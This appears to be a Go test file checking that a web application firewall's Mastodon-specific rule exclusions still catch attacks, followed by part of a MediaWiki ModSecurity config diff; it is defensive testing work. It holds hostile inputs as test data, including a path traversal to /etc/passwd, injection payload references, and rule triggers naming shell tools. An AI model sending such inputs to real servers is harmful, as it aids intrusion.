{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
|
||||||
|
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
|
||||||
|
{http.MethodPost, "/api/v1/featured_tags", "name="},
|
||||||
|
{http.MethodPost, mastodonReports, mastodonComment},
|
||||||
|
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
|
||||||
|
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/admin/domain_blocks",
|
||||||
|
"domain_block[private_comment]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/admin/domain_blocks",
|
||||||
|
"domain_block[public_comment]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||||
|
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||||
|
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||||
|
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||||
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonBranding,
|
||||||
|
"form_admin_settings[site_short_description]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/admin/settings/about",
|
||||||
|
"form_admin_settings[site_extended_description]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/filters",
|
||||||
|
"custom_filter[keywords_attributes][0][keyword]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/applications",
|
||||||
|
"doorkeeper_application[name]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/applications",
|
||||||
|
"doorkeeper_application[website]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonAccount,
|
||||||
|
"user[invite_request_attributes][text]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/admin/accounts/1/action",
|
||||||
|
"admin_account_action[text]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/admin/account_moderation_notes",
|
||||||
|
"account_moderation_note[content]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, mastodonPresets, "account_warning_preset[title]="},
|
||||||
|
{http.MethodPost, mastodonPresets, "account_warning_preset[text]="},
|
||||||
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordForms sends each password field in a form data body, on
|
||||||
|
// a path where it skips the four rules and the rules that random passwords
|
||||||
|
// set off.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonPasswordForms = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/migration",
|
||||||
|
"account_migration[current_password]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
|
"form_redirect[current_password]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/delete",
|
||||||
|
"form_delete_confirmation[password]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||||
|
// a JSON body, with %s for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var mastodonPasswordJSON = mastodonBodyField{
|
||||||
|
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
|
// body, on a path where it skips them, with %s for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonJSONFields = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
|
||||||
|
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
|
||||||
|
{http.MethodPut, "/api/v1/media/1", `{"description":%s}`},
|
||||||
|
{
|
||||||
|
http.MethodPut, mastodonStatuses + "/1",
|
||||||
|
`{"media_attributes":[{"id":"1","description":%s}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonEditor,
|
||||||
|
`{"fields_attributes":[{"name":%s}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonEditor,
|
||||||
|
`{"fields_attributes":[{"value":%s}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonProfile,
|
||||||
|
`{"fields_attributes":[{"name":%s}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonProfile,
|
||||||
|
`{"fields_attributes":[{"value":%s}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||||
|
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonInbox,
|
||||||
|
`{"object":{"attachment":[{"name":%s}]}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonInbox,
|
||||||
|
`{"object":{"attachment":[{"value":%s}]}}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
|
||||||
|
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
|
||||||
|
// for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var (
|
||||||
|
mastodonStatusForms = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, mastodonStatus},
|
||||||
|
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
|
||||||
|
}
|
||||||
|
mastodonStatusJSON = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
|
||||||
|
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
// mastodonForm returns what crs finds in value, sent in sent's form data
|
||||||
|
// field.
|
||||||
|
func mastodonForm(t *testing.T, sent mastodonBodyField, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{formData}}
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonJSON returns what crs finds in value, which is not escaped, sent
|
||||||
|
// in sent's JSON field.
|
||||||
|
func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
quoted, err := json.Marshal(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||||
|
got, _ := inspectBody(
|
||||||
|
t,
|
||||||
|
readingBodies(t),
|
||||||
|
r,
|
||||||
|
fmt.Sprintf(sent.field, quoted),
|
||||||
|
)
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonAttacks are an SQL injection, a path traversal and a script
|
||||||
|
// injection, as a query value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonAttacks = []string{
|
||||||
|
sqlInjection,
|
||||||
|
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||||
|
scriptInjection,
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonScores returns what crs finds in value, escaped as a query value,
|
||||||
|
// sent in each field that skips the four rules: in the query, in form data
|
||||||
|
// and in JSON. Bodies are read whatever crs is. Each score is keyed by where
|
||||||
|
// value was sent.
|
||||||
|
func mastodonScores(
|
||||||
|
t *testing.T, crs *coreruleset.CoreRuleSet, value string,
|
||||||
|
) map[string]int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
scores := map[string]int{}
|
||||||
|
|
||||||
|
for _, target := range mastodonQueryFields {
|
||||||
|
scores[target+value] = inspect(t, crs, get(target+value)).Score
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||||
|
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
value,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
unescaped, err := url.QueryUnescape(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||||
|
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
unescaped,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
return scores
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, attack := range mastodonAttacks {
|
||||||
|
for sent, score := range mastodonScores(t, atDefaults(t), attack) {
|
||||||
|
if score < mastodonThreshold {
|
||||||
|
t.Errorf("%s let through: %d", sent, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{formData}}
|
||||||
|
name := strings.TrimSuffix(sent.field, "=")
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, name)
|
||||||
|
wantPasswordAttacksPass(t, r, name)
|
||||||
|
wantPasswordAttacksRefused(t, r, name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Run("JSON", func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
r := request{
|
||||||
|
mastodonPasswordJSON.method,
|
||||||
|
mastodonPasswordJSON.target,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
|
wantPasswordAttacksRefused(t, r, "password")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
challenge := []string{"form_challenge[current_password]"}
|
||||||
|
|
||||||
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
|
{"/auth/challenge", formData, challenge},
|
||||||
|
{
|
||||||
|
"/settings/two_factor_authentication/otp_authentication",
|
||||||
|
formData,
|
||||||
|
challenge,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/settings/two_factor_authentication_methods/disable",
|
||||||
|
formData,
|
||||||
|
challenge,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
for _, target := range mastodonQueryFields {
|
||||||
|
got := inspect(t, crs, get(target+commandInjection))
|
||||||
|
if got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||||
|
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
attack, err := url.QueryUnescape(commandInjection)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||||
|
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||||
|
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonCodePost is a post that names commands in code, as recorded.
|
||||||
|
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
|
||||||
|
"and `python3 -m http.server` serves a folder. https://example.org/notes"
|
||||||
|
|
||||||
|
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, value := range hardValues {
|
||||||
|
for sent, score := range mastodonScores(t, readingBodies(t), value) {
|
||||||
|
if score >= mastodonThreshold {
|
||||||
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonPasswordForms {
|
||||||
|
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v with %s refused", sent, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|
||||||
|
for _, sent := range mastodonStatusForms {
|
||||||
|
if mastodonForm(t, sent, code) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonStatusJSON {
|
||||||
|
if mastodonJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonUpload is a file named .htaccess in a multipart body.
|
||||||
|
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||||
|
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||||
|
|
||||||
|
// mastodonActivityPub is the Accept header of a server looking up a link to
|
||||||
|
// a profile or a post, as recorded.
|
||||||
|
const mastodonActivityPub = `Accept: application/ld+json; ` +
|
||||||
|
`profile="https://www.w3.org/ns/activitystreams", application/activity+json, ` +
|
||||||
|
`text/html;q=0.1`
|
||||||
|
|
||||||
|
// mastodonReport is a report as the web app sends it, with %s for its
|
||||||
|
// forward value.
|
||||||
|
const mastodonReport = `{"account_id":"1","comment":"Spam","forward":%s,` +
|
||||||
|
`"forward_to_domains":[]}`
|
||||||
|
|
||||||
|
// mastodonForwardedReport is a report the web app forwards to another
|
||||||
|
// server, with %s for that server.
|
||||||
|
const mastodonForwardedReport = `{"account_id":"1","comment":"Spam","forward":true,` +
|
||||||
|
`"forward_to_domains":[%s]}`
|
||||||
|
|
||||||
|
func TestMastodonExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
for _, refused := range []string{
|
||||||
|
"/?q=powershell",
|
||||||
|
"/api/v2/search?other=python3",
|
||||||
|
"/api/v1/timelines/home?q=python3",
|
||||||
|
"/api/v1/admin/users?username=python3",
|
||||||
|
"/admin/people?username=python3",
|
||||||
|
"/admin/reports?username=python3",
|
||||||
|
"/search/other?q=python3",
|
||||||
|
"/x/api/v2/search?q=python3",
|
||||||
|
"/admin/accounts/1?username=python3",
|
||||||
|
} {
|
||||||
|
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("%s let through: %+v", refused, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The Accept header of ActivityPub is still refused off the paths of
|
||||||
|
// Mastodon's accounts and posts.
|
||||||
|
for _, target := range []string{"/@admin", "/@admin/1", "/users/admin/statuses/1"} {
|
||||||
|
wantResult(t, crs, get(target, mastodonActivityPub), matched())
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{"/", "/@admin/1/other", "/x/@admin"} {
|
||||||
|
wantResult(t, crs, get(target, mastodonActivityPub), matched(920600))
|
||||||
|
}
|
||||||
|
|
||||||
|
crs = readingBodies(t)
|
||||||
|
|
||||||
|
upload := request{
|
||||||
|
http.MethodPost, "/upload",
|
||||||
|
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||||
|
if got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", upload.target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{
|
||||||
|
"/api/v1/media", "/api/v2/media", mastodonProfile, mastodonEditor,
|
||||||
|
} {
|
||||||
|
upload.target = target
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||||
|
if got.Score >= mastodonThreshold {
|
||||||
|
t.Errorf("POST %s refused: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The fields are excluded only on Mastodon's paths.
|
||||||
|
for _, sent := range []mastodonBodyField{
|
||||||
|
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
|
||||||
|
{http.MethodPost, "/user/login", mastodonPassword},
|
||||||
|
{http.MethodPost, "/comments", mastodonStatus},
|
||||||
|
} {
|
||||||
|
if mastodonForm(t, sent, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range []mastodonBodyField{
|
||||||
|
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
|
||||||
|
} {
|
||||||
|
if mastodonJSON(t, sent, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// A report's forward keys pass by name, and their values are still
|
||||||
|
// checked.
|
||||||
|
for _, sent := range []struct{ body, value string }{
|
||||||
|
{mastodonReport, "false"},
|
||||||
|
{mastodonForwardedReport, "remote.example"},
|
||||||
|
} {
|
||||||
|
report := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonReports,
|
||||||
|
sent.body,
|
||||||
|
}
|
||||||
|
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused: %d", report, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := mastodonJSON(t, report, `"../../etc/passwd"`); got < mastodonThreshold {
|
||||||
|
t.Errorf("%v with a path let through: %d", report, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
report.target = mastodonStatuses
|
||||||
|
if got := mastodonJSON(t, report, sent.value); got < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through: %d", report, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonUsername and mastodonHashtag are the sign-up form's username and
|
||||||
|
// the web app's featured hashtag, which skip only 932120 and 932260.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var (
|
||||||
|
mastodonUsername = mastodonBodyField{
|
||||||
|
http.MethodPost, mastodonAccount, "user[account_attributes][username]=",
|
||||||
|
}
|
||||||
|
mastodonHashtag = mastodonBodyField{
|
||||||
|
http.MethodPost, "/api/v1/featured_tags", `{"name":%s}`,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// python3 and powershell can be a username or a hashtag; ls -la and
|
||||||
|
// .htaccess cannot.
|
||||||
|
passes, refused := hardValues[:2], hardValues[2:]
|
||||||
|
|
||||||
|
for _, value := range passes {
|
||||||
|
if mastodonForm(t, mastodonUsername, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("username %s refused", value)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mastodonJSON(t, mastodonHashtag, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("hashtag %s refused", value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, value := range slices.Concat(
|
||||||
|
refused, mastodonAttacks, []string{commandInjection},
|
||||||
|
) {
|
||||||
|
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
||||||
|
t.Errorf("username %s let through", value)
|
||||||
|
}
|
||||||
|
|
||||||
|
unescaped, err := url.QueryUnescape(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mastodonJSON(t, mastodonHashtag, unescaped) < mastodonThreshold {
|
||||||
|
t.Errorf("hashtag %q let through", unescaped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Elsewhere both keep the two rules.
|
||||||
|
signIn := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonSignIn,
|
||||||
|
mastodonUsername.field,
|
||||||
|
}
|
||||||
|
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", signIn)
|
||||||
|
}
|
||||||
|
|
||||||
|
statuses := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonStatuses,
|
||||||
|
mastodonHashtag.field,
|
||||||
|
}
|
||||||
|
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", statuses)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonEmail is the email address on the sign-up, sign-in, password
|
||||||
|
// reset and account settings forms, as the start of a form body.
|
||||||
|
const mastodonEmail = "user[email]="
|
||||||
|
|
||||||
|
func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, target := range []string{mastodonAccount, mastodonSignIn, "/auth/password"} {
|
||||||
|
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||||
|
|
||||||
|
for _, address := range []string{
|
||||||
|
"python3%40example.com",
|
||||||
|
"powershell%40example.com",
|
||||||
|
"jane.profile%40example.com",
|
||||||
|
"notes.htaccess%40example.com",
|
||||||
|
} {
|
||||||
|
if mastodonForm(t, sent, address) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v with %s refused", sent, address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The address keeps 932250 and the rules that refuse attacks.
|
||||||
|
for _, value := range slices.Concat(
|
||||||
|
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
|
||||||
|
) {
|
||||||
|
if mastodonForm(t, sent, value) < mastodonThreshold {
|
||||||
|
t.Errorf("%v with %s let through", sent, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Elsewhere the address keeps every rule.
|
||||||
|
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
||||||
|
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||||
|
if mastodonForm(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
"python3%40example.com",
|
||||||
|
) < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The same field name in the query keeps the rules, in the query and
|
||||||
|
// in the body.
|
||||||
|
for _, sent := range []struct{ target, field string }{
|
||||||
|
{mastodonStatuses, mastodonStatus + "python3"},
|
||||||
|
{mastodonStatuses, "spoiler_text=python3"},
|
||||||
|
{mastodonRules, "rule[text]=python3"},
|
||||||
|
{mastodonRoles, "user_role[name]=python3"},
|
||||||
|
{mastodonSignIn, mastodonPassword + "python3"},
|
||||||
|
{mastodonSignIn, mastodonEmail + "python3"},
|
||||||
|
{mastodonSignUp, "password=python3"},
|
||||||
|
{mastodonInbox, "json.object.content=python3"},
|
||||||
|
} {
|
||||||
|
target := sent.target + "?" + sent.field
|
||||||
|
r := request{http.MethodPost, target, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
|
if got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -15,12 +15,19 @@
|
|||||||
# Pages under /wiki/ need neither.
|
# Pages under /wiki/ need neither.
|
||||||
#
|
#
|
||||||
# Four rules read a search, a title or a name as a command or a system file.
|
# Four rules read a search, a title or a name as a command or a system file.
|
||||||
# Each exclusion below for such a field removes these four, and only these:
|
# Each exclusion below for such a field removes these four:
|
||||||
# 930120: .htaccess
|
# 930120: .htaccess
|
||||||
# 932120: powershell
|
# 932120: powershell
|
||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists mediawiki for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mediawiki itself.
|
||||||
|
SecRule &TX:app_mediawiki "@eq 0" \
|
||||||
|
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -46,8 +53,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
